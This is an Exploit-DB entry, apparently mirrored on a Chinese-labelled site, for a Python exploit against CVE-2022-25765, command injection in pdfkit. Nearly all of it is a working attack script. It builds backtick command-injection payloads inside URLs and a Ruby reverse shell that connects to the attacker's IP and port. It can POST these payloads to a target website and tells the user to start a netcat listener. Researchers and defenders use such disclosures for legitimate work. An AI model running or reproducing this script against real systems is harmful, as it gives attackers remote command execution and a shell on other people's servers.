pdfkit v0.8.7.2 – Command Injection

  • 作者: UNICORD
    日期: 2023-04-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51293/
  • #!/usr/bin/env python3
    # Exploit Title: pdfkit v0.8.7.2 - Command Injection
    # Date: 02/23/2023
    # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
    # Vendor Homepage: https://pdfkit.org/
    # Software Link: https://github.com/pdfkit/pdfkit
    # Version: 0.0.0-0.8.7.2
    # Tested on: pdfkit 0.8.6
    # CVE: CVE-2022–25765
    # Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
    # Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
    
    # Imports
    import time
    import sys
    import requests
    from urllib.parse import quote
    
    
    class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'
    
    
    # Print UNICORD ASCII Art
    def UNICORD_ASCII():
    print(rf"""
    {color.red}_ __,~~~{color.gold}/{color.red}_{color.no}{color.blue}__________________________{color.no}
    {color.red},~~`( )_( )-\| {color.blue}/ / / / |/ /_/ ___/ __ \/ _ \/ _ \{color.no}
    {color.red}|/|`--. {color.blue}/ /_/ /// // /__/ /_/ / , _/ // /{color.no}
    {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)
    
    
    # Print exploit help menu
    def help():
    print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection
    
    Usage:
    python3 exploit-CVE-2022–25765.py -c <command>
    python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
    python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
    python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
    python3 exploit-CVE-2022–25765.py -h
    
    Options:
    -cCustom command mode. Provide command to generate custom payload with.
    -sReverse shell mode. Provide local IP and port to generate reverse shell payload with.
    -wURL of website running vulnerable pdfkit. (Optional)
    -pPOST parameter on website running vulnerable pdfkit. (Optional)
    -hShow this help menu.
    """)
    exit()
    
    
    def loading(spins):
    
    def spinning_cursor():
    while True:
    for cursor in '|/-\\':
    yield cursor
    
    spinner = spinning_cursor()
    for _ in range(spins):
    sys.stdout.write(next(spinner))
    sys.stdout.flush()
    time.sleep(0.1)
    sys.stdout.write('\b')
    
    
    # Run the exploit
    def exploit(payload, exploitMode, postArg):
    
    UNICORD_ASCII()
    
    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
    loading(15)
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")
    
    if "web" in exploitMode:
    if exploitMode == "webcommand":
    print(
    f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
    else:
    print(
    f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
    print(
    f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
    print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
    print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
    if "http" not in website:
    print(
    f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
    exit()
    postArg = postArg + "=" + quote(payload, safe="")
    try:
    response = requests.post(website, postArg)
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
    exit()
    loading(15)
    print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
    loading(15)
    print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
    elif exploitMode == "command":
    print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
    loading(15)
    print(
    f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    elif exploitMode == "shell":
    print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
    print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
    loading(15)
    print(
    f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    
    exit()
    
    
    if __name__ == "__main__":
    
    args = ['-h', '-c', '-s', '-w', '-p']
    modes = {'command': 'Custom Command Mode',
     'shell': 'Reverse Shell Mode',
     'webcommand': 'Custom Command Send to Target Website Mode',
     'webshell': 'Reverse Shell Sent to Target Website Mode'}
    postArg = "url"
    
    if args[0] in sys.argv:
    help()
    elif args[1] in sys.argv and not args[2] in sys.argv:
    try:
    if sys.argv[sys.argv.index(args[1]) + 1] in args:
    raise
    command = sys.argv[sys.argv.index(args[1]) + 1]
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
    exit()
    payload = f"http://%20`{command}`"
    mode = "command"
    elif args[2] in sys.argv and not args[1] in sys.argv:
    try:
    if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
    raise
    listenIP = sys.argv[sys.argv.index(args[2]) + 1]
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
    exit()
    try:
    if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
    raise
    listenPort = sys.argv[sys.argv.index(args[2]) + 2]
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
    exit()
    payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
    mode = "shell"
    else:
    help()
    
    if args[3] in sys.argv and args[4] in sys.argv:
    try:
    if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
    raise
    website = sys.argv[sys.argv.index(args[3]) + 1]
    mode = "web" + mode
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
    exit()
    try:
    if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
    raise
    postArg = sys.argv[sys.argv.index(args[4]) + 1]
    except:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
    exit()
    elif args[3] in sys.argv or args[4] in sys.argv:
    print(
    f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
    exit()
    
    exploit(payload, mode, postArg)